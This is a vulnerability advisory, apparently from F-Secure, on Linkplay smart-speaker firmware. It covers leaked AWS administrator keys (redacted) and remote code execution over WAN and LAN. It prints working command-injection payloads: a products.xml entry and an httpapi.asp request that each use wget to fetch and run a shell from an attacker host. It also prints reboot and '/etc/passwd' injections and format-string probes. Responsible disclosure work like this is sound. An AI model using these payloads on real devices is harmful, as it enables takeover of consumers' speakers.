Linkplay Firmware WAN/LAN Remote Code Execution

Linkplay Firmware WAN/LAN Remote Code Execution

CVE-2019-15310, CVE-2019-15311, CVE-2019-15312

Share

Type

  • Multiple Remote Code Execution (WAN/LAN)

Severity

  • High

Affected products

  • Linkplay firmware

Credits

  • Credits to Tim Carrington for identifying the AWS Takeover and WAN RCE. Additional credits to Stefano Farletti and F-Secure’s Bytegeist team for the majority of LAN RCE vulnerabilities disclosed.

Date

  • 2019-09-05

CVE Reference

  • CVE-2019-15310, CVE-2019-15311, CVE-2019-15312

Read more

Introduction

As part of an internal competition F-Secure identified multiple remote code execution vulnerabilities in the Zolo Halo smart speaker. Further analysis revealed these issues to be present in the base firmware image developed by Linkplay and used in a number of smart devices. At a high level, F-Secure were able to:

  • Execute code on any device through the update process (see WAN RCE below).
  • Execute code on any device if connected to the same network (see LAN RCE below).
  • Gain access to Linkplay’s AWS estate with administrator privileges (see AWS Takeover).

AWS Takeover

During initial vulnerability research of the Zolo Halo smart speaker, F-Secure discovered AWS credentials that could be leveraged to gain access to Linkplay’s S3 buckets containing device firmware.

Initial enumeration of the Zolo Halo speaker revealed a web application listening on TCP port 80. This was observed to be a GoAhead web server. Further enumeration of this application revealed the httpapi.asp endpoint that could be used to gather further information about the device. Coupled with information from a number of forums (eg https://community.home-assistant.io/t/linkplay-integration/33878/76 and https://www.diyaudio.com/forums/class-d/302748-am-v200-wifi.html) F-Secure were able to identify the GetUpdateServer command:

$ curl http://10.10.10.254/httpapi.asp\?command\=GetUpdateServer -v * Trying 10.10.10.254… * TCP_NODELAY set * Connected to 10.10.10.254 (10.10.10.254) port 80 (#0)

GET /httpapi.asp?command=GetUpdateServer HTTP/1.1 Host: 10.10.10.254

* HTTP 1.0, assume close after body < HTTP/1.0 200 OK < Date: Fri May 24 19:53:04 2019 < Server: GoAhead-Webs < Pragma: no-cache < Cache-Control: no-cache < Content-type: text/html < * Closing connection 0 http://silenceota.linkplay.com/wifi\_audio\_image

The silenceota.linkplay.com was an Amazon AWS S3 bucket containing firmware for over a hundred devices.

$ aws s3 ls s3://otasilence/ PRE sgw/ PRE wifi_audio_image/ PRE wifi_audio_image_crypt/ PRE wifi_audio_image_dsp/ PRE wifi_audio_image_mcu/ PRE wifi_audio_test/

Analysis of files within this bucket, a “products.xml” file was identified providing the location of the firmware for specific devices. The following output shows the entry for the Zolo Halo speaker:

Zolo\_Halo WiiMu-A31 FF310082 http://silenceota.linkplay.com/wifi\_audio\_image/M7hFsDfNwwQmU5WbsJmnFZ/product.xml

The corresponding “product.xml” file contains locations for all of up to date firmware:

20181127 ab6a814fbe506a4680e62e6054e25635 http://silenceota.linkplay.com/wifi\_audio\_image/M7hFsDfNwwQmU5WbsJmnFZ/20181127/md5.txt http://silenceota.linkplay.com/wifi\_audio\_image/M7hFsDfNwwQmU5WbsJmnFZ/20181127/MVver\_20181127 http://silenceota.linkplay.com/wifi\_audio\_image/M7hFsDfNwwQmU5WbsJmnFZ/20181127/layout http://silenceota.linkplay.com/wifi\_audio\_image/M7hFsDfNwwQmU5WbsJmnFZ/uboot\_v632.img http://silenceota.linkplay.com/wifi\_audio\_image/M7hFsDfNwwQmU5WbsJmnFZ/backup\_new\_v1141.img http://silenceota.linkplay.com/wifi\_audio\_image/M7hFsDfNwwQmU5WbsJmnFZ/20181127/a31ankera1alexa\_new\_uImage\_20181127

The image-kernel tag contained the url for the device’s firmware. This could be downloaded and the root file system extracted with binwalk.  Analysis of the file system revealed several interesting artefacts. Of note were a number of custom binaries, scripts and miscellaneous files:

system/workdir/config-powersave.sh system/workdir/evn.sh system/workdir/live.sh system/workdir/release.txt system/workdir/delay_reboot.sh system/workdir/factory.sh system/workdir/MVver

system/workdir/bin: a01controller apple_remote factory_audio imuzop mdevnotify ntpd smplayer a01remoteupdate asr_tts factory_gpio intercom multiplayer ntpdate stunnel airplay cxdish factory_upgrade iperf mv_ioguard pushdeviceinfo volumeprompt alexa_alert dsp_upgrade httping logtool mv_netguard rootApp

system/workdir/misc: ca.pem config.bin grender-120x120.jpg grender-48x48.jpg melody.mp3 stunnel.conf Voice-prompt config general.dat grender-120x120.png grender-48x48.png privateKey stunnel.pem

system/workdir/script: backupJffs2.sh burnrootImage.sh format_jffs2.sh restoreJffs2_user2.sh sysprivatelog.sh backupJffs2_user2.sh ca-certificates.crt hosts run_a01remoteupdate.sh burnjffs2.sh check_a01remoteupdate.sh jffs2.header sys_avs_log.sh burnjffs2_user2.sh dnsmasq.conf

Whilst it is typical to see self-signed certificates in firmware, the file “/system/workdir/misc/privateKey” highlighted in the previous output contained AWS API keys:

$ cat system/workdir/misc/privateKey {“access_key”:“redacted”,“secret_key”:“redacted”}

Enumeration of the S3 buckets associated with the AWS API keys revealed that Linkplay were using AWS to store firmware files, log files, and provide access to APIs. The following buckets were found to store firmware:

{ { “Name”: “otasilence”, “CreationDate”: “2019-01-03T03:09:44.000Z” }, { “Name”: “rlsd”, “CreationDate”: “2019-03-29T08:33:57.000Z” }, { “Name”: “silence”, “CreationDate”: “2019-01-03T03:09:29.000Z” }, { “Name”: “wubao”, “CreationDate”: “2019-01-03T03:09:12.000Z” } }

Analysis of the impact of the leaked AWS credentials was performed through the AWS CLI. The API keys provided access to the AWS instance in the context of the “redacted” user:

$ aws iam get-user { “User”: { “Path”: ”/”, “UserName”: “REDACTED”, “UserId”: ”…”, “CreateDate”: “2017-06-23T07:41:08Z”, “PasswordLastUsed”: “2019-05-27T02:46:10Z” } }

This user was a member of the “Administrators” group:

$ aws iam get-group —group-name Administrators { “Users”: [ { “Path”: ”/”, “UserName”: “REDACTED”, “UserId”: ”…”, “CreateDate”: “2017-06-23T07:41:08Z”, “PasswordLastUsed”: “2019-05-23T02:54:44Z” },

The Administrators group had the following attached policies:

“GroupDetailList”: [ { “Path”: ”/”, “GroupName”: “Administrators”, “GroupId”: “AGPAJJITWUOXLAF7QCSQO”, “Arn”: “arn:aws:iam::073211146886:group/Administrators”, “CreateDate”: “2016-06-26T05:42:10Z”, “GroupPolicyList”: [ { “PolicyName”: “policygen-Administrators-201706231544”, “PolicyDocument”: { “Version”: “2012-10-17”, “Statement”: [ { “Sid”: “Stmt1498203830000”, “Effect”: “Allow”, “Action”: [ “sts:AssumeRole” ], “Resource”: [ “arn:aws:iam::398391757924:role/OrganizationAccountAccessRole”, “arn:aws:iam::073211146886:role/REDACTED_2” ] } ] } } ], “AttachedManagedPolicies”: [ { “PolicyName”: “AdministratorAccess”, “PolicyArn”: “arn:aws:iam::aws:policy/AdministratorAccess” },

The AdministratorAccess policy highlighted in the previous output allows full access to the AWS instance. This is demonstrated by the “Action:*, Resource:*” permissions shown below:

{ “PolicyName”: “AdministratorAccess”, “PolicyId”: “ANPAIWMBCKSKIEE64ZLYK”, “Arn”: “arn:aws:iam::aws:policy/AdministratorAccess”, “Path”: ”/”, “DefaultVersionId”: “v1”, “AttachmentCount”: 3, “PermissionsBoundaryUsageCount”: 0, “IsAttachable”: true, “CreateDate”: “2015-02-06T18:39:46Z”, “UpdateDate”: “2015-02-06T18:39:46Z”, “PolicyVersionList”: [ { “Document”: { “Version”: “2012-10-17”, “Statement”: [ { “Effect”: “Allow”, “Action”: ”*”, “Resource”: ”*” } ] }, “VersionId”: “v1”, “IsDefaultVersion”: true, “CreateDate”: “2015-02-06T18:39:46Z” } ] },

Note that the REDACTED_2 role could be leveraged through assume-role. This role also had the AdministratorAccess policy attached, and so could provide privilege escalation should the REDACTED user be low privileged.

WAN Remote Code Execution

As described, when a device attempts to update a request made to “silenceota.linkplay.com/wifi_audio_image/prodcuts.xml”. This file is parsed in order to identify the location of device specific firmware. The silenceota.linkplay.com hostname is associated with the “otasilence” s3 bucket. As such, two routes to gain code execution through the firmware update process could be leveraged to compromise a large number of devices developed by Linkplay.

Given that the AWS API keys provide access to write to the “otasilence” bucket, an adversary could simply replace all firmware binaries with back-doored versions. This attack would be relatively stealthy, however does run the risk of breaking devices if the backdoored firmware is not correct.

A second method was identified that abuses a command injection vulnerability that occurs during parsing of the “products.xml” file. When a firmware update is requested, the “/system/workdir/bin/a01remoteupdate” binary is executed. In “a01remoteupdate” the UpdateImageAll method calls DownloadFile to first download the “products.xml” file:

.text:00406720 la $a0, 0x410000 .text:00406724 la $t9, printf .text:00406728 lw $a1, 0x37B0+var_50($sp) .text:0040672C jalr $t9 ; printf .text:00406730 addiu $a0, (aOnlineUpdateBe - 0x410000) # “online update begin (count=%d)\n” .text:00406734 lw $gp, 0x37B0+var_3788($sp) .text:00406738 move $a0, $s0 .text:0040673C la $a1, 0x410000 .text:00406740 la $t9, 0x40545C .text:00406744 bal DownloadFile .text:00406748 addiu $a1, (aTmpProducts_xm - 0x410000) # “/tmp/products.xml”

If this download is successful, the ParseProducts method is called:

.text:0040690C loc_40690C: # CODE XREF: UpdateImageAll+248 .text:0040690C la $t9, 0x404AC8 .text:00406910 bal ParseProducts .text:00406914 addiu $a0, $sp, 0x37B0+var_2DD8

The ParseProducts method uses an XML library to parse the “products.xml” file and retrieve the information required to request the device’s firmware binary. Finally, DownloadFile is called a second time if ParseProducts is able to identify a valid url in the  tag for a matching product.

.text:00407AE4 la $s0, 0x410000 .text:00407AE8 la $t9, 0x40545C .text:00407AEC addiu $a0, $sp, 0x37B0+var_2BD8 .text:00407AF0 bal DownloadFile .text:00407AF4 addiu $a1, $s0, (aTmpProduct_xml - 0x410000) # “/tmp/product.xml”

The DownloadFile method contains a trivially exploitable Operating System command injection vulnerability. The “wget” utility is executed in the download process with user controllable input - specifically the url from the  tag from the previously parsed “products.xml” file.

.text:0040575C loc_40575C: # CODE XREF: DownloadFile+64 .text:0040575C la $a1, 0x410000 .text:00405760 addiu $v0, $s1, (aTmpRemoteupdat - 0x410000) # “/tmp/remoteupdatewget.log” .text:00405764 sw $v0, 0x258+var_248($sp) .text:00405768 move $a0, $s2 # s .text:0040576C addiu $a1, (aWgetT15OSS21Te - 0x410000) # “wget -T 15 -O %s ‘%s’ 2>&1 | tee %s” .text:00405770 move $a2, $s0 .text:00405774 jalr $t9 ; sprintf .text:00405778 move $a3, $s3 .text:0040577C move $s4, $zero .text:00405780 b loc_4054F0

.text:00405514 addiu $a0, $s1, -0x4160 # filename .text:00405518 lw $gp, 0x258+var_240($sp) .text:0040551C la $t9, WMUtil_system .text:00405520 jalr $t9 ; WMUtil_system .text:00405524 move $a0, $s2

As can be seen from the assembly, this method is also vulnerable to a stack based buffer overflow through an unsanitised call to sprintf.

In order to demonstrate exploitability of this issue without impacting legitimate service of Linkplay customers, F-Secure deployed a device in a restricted network with a DNS server under its control. The DNS server contained a record pointing “silenceota.linkplay.com” to a testing system. In reality, an attacker could simply edit the “products.xml” file on the “otasilence” AWS s3 bucket.

On an F-Secure controlled system acting as the “silenceota.linkplay.co”` host, a web server was started with a malicious “products.xml” file hosted at “/var/www/html/wifi_audio_image/”. This file contained a single entry to exploit the Zolo Halo smart speaker:

Zolo\_Halo WiiMu-A31 FF310082 http://'$(wget http://attackerIP:8000/shell -O /tmp/shell; chmod 777 /tmp/shell; /tmp/./shell)'

LAN Remote Code Execution

The previously described WAN RCE vulnerability presented a code pattern that was found in a variety of areas within the device firmware. F-Secure identified a number of similar vulnerabilities that could be leveraged by an attacker with network access to the affected devices. All vulnerabilities presented here can also be triggered remotely If a user on the local network is tricked into visiting a malicious website, as no CSRF protection is in place. This section provides analysis of one such vulnerability, subsequent sections provide a brief overview of the vulnerable functionality and example triggers.

Reverse engineering of the GoAhead web server hosted on the Zolo speaker revealed a command that could be used to set the network password:

http://192.168.0.66/httpapi.asp?command=setNetworkEx:1:414141414141

Further analysis revealed the GoaheadCmdParseThread function, defined within the “rootApp” binary, was responsible to parse HTTP requests. In particular, the following decompiled snippet of code shows how the HTTP request is handled when the “setNetworkEx” string is contained in the “command” parameter:

iVar12 = strncmp((char *)__s1,“setNetworkEx:“,0xd); if (iVar12 == 0) { iVar12 = FUN_00403008((int)&__s1->_IO_read_base + 1,1); if (iVar12 == -1) { UnixSocketServer_write(auStack2172,“invalid input”,0x15); }

The highlighted function call shows the vulnerable calls to system (causing a buffer overflow) and sprintf (causing a command injection).

Exploitation could be achieved by making a request that uses the wget utility to download and execute a remote payload:

httpapi.asp?command=setNetworkEx:1:7765776577657765;/usr/bin/wget+http://192.168.0.71/ms+-O+/tmp/ms;/bin/chmod+777+/tmp/ms;/tmp/ms

F-Secure identified the following actions passed through the “command” parameter to the httpapi.asp endpoint were vulnerable to command injection.

Command Injection in getsyslog:ip:

The following URL triggers a command injection vulnerability which executes arbitrary commands as a privileged user:

http://zolo\_ip:80/httpapi.asp?command=getsyslog:ip:;reboot

Command Injection in getStatus:ip

The following URL triggers a command injection vulnerability which executes arbitrary commands as a privileged user:

http://zolo\_ip:80/httpapi.asp?command=getStatus:ip:;reboot;

Format String Vulnerabilities in getStatusEx

The getStatusEx command can pass user supplied format strings to a format string function. Both the device name and group name can be set by an unauthenticated user and trigger the bug if they contain format string sequences. The following commands can be used to set the values:

http://zolo\_ip:80/httpapi.asp?command=setDeviceName:%x%x%x%x http://zolo\_ip:80/httpapi.asp?command=setGroupName:%x%x%x%x

And the results can be viewed using:

http://zolo\_ip:80/httpapi.asp?command=getStatusEx

As the %n specifier is allowed this can be used to write to arbitrary memory locations and to achieve code execution.

Command Injection in factory_cxdish

The following URL triggers a command injection vulnerability allowing privileged commands to be run as a privileged user. Note that the user supplied command must be hex encoded, in the following example, the command is “cat /etc/passwd”:

http://10.10.10.254/httpapi.asp?command=factory\_cxdish:636174202f6574632f706173737764

Impact

The combination of privileged AWS credentials that provide access to device firmware, combined with exploitable memory corruption and OS command injection vulnerabilities could result in exploitation of any device that attempts to update its firmware. Additionally due to the lack of authentication as well as other HTTP based attack mitigations, the LAN RCE vulnerabilities could be exploited from a malicious website.

Overall, F-Secure identified 89 devices that could be exploited through this method, gathered from the “products.xml” file (note there were 109 products in total, 20 of which were duplicates):

808SL-V 808XL-V a28youyishi a31faravs a31ihomefaralexa a31youyishi Accelerate AudioPro_A10 AudioPro_A40 AudioPro_C10 AudioPro_C3 AudioPro_C5 AudioPro_C5A AudioPro_C5I AudioPro_LINK1 Auvisio_QAS_300 BOX BUSH_31326 CAW-12150 CAW-18057 CAW-37052 Creative_Nova CVTE_SoundMax_1 CVTE_SoundMax_3 CVTE_SoundMax_5 CVTE_SoundMax_7 CVTE_SoundMax_Soundbar DIDA DOSS_FabriqChorus Drumfire_D-1 Essb_Virtuoz_401 GGMMA31_E5A GGMM_E2A GGMM_E3 GGMM_E5A GoHawk_Lit HE_MINI HMDX_W3111 HMDX_W3111_EU HMDX_W3211 HMDX_W3211_EU HOME2 HX-P590 ICOS iEAST-01 iEAST-4Z iHome_iAV14 IHOME_iAV14 iHome_iAVS16 IKBFV378 JENSEN_31324 KS_31330 MD-3119 MD43631 MD44120 MD44130 MET8040 MSH315V MusicMan_BT-X34 MXQ_HF30 OE_VAALEXSB80 PWF1002 RHYMEET_R1 RSR_WR762 Smart5 Smart7 Smart_Speaker_PN SUPERSONIC SWF1005 SWF2001 SWF3001 SWF4001 SYLVANIA T2328A TIBO_31220 TIBO_31322 TIBO_31323 TTS-7199-92 uyesee-am160 uyesee-i50 Venus Verdera_Voice_Lighted_Mirror WB_135 WB_22_FABRIQ WBA31 WS07VCA XORO_XVS_200 XWF_500 Zolo_Halo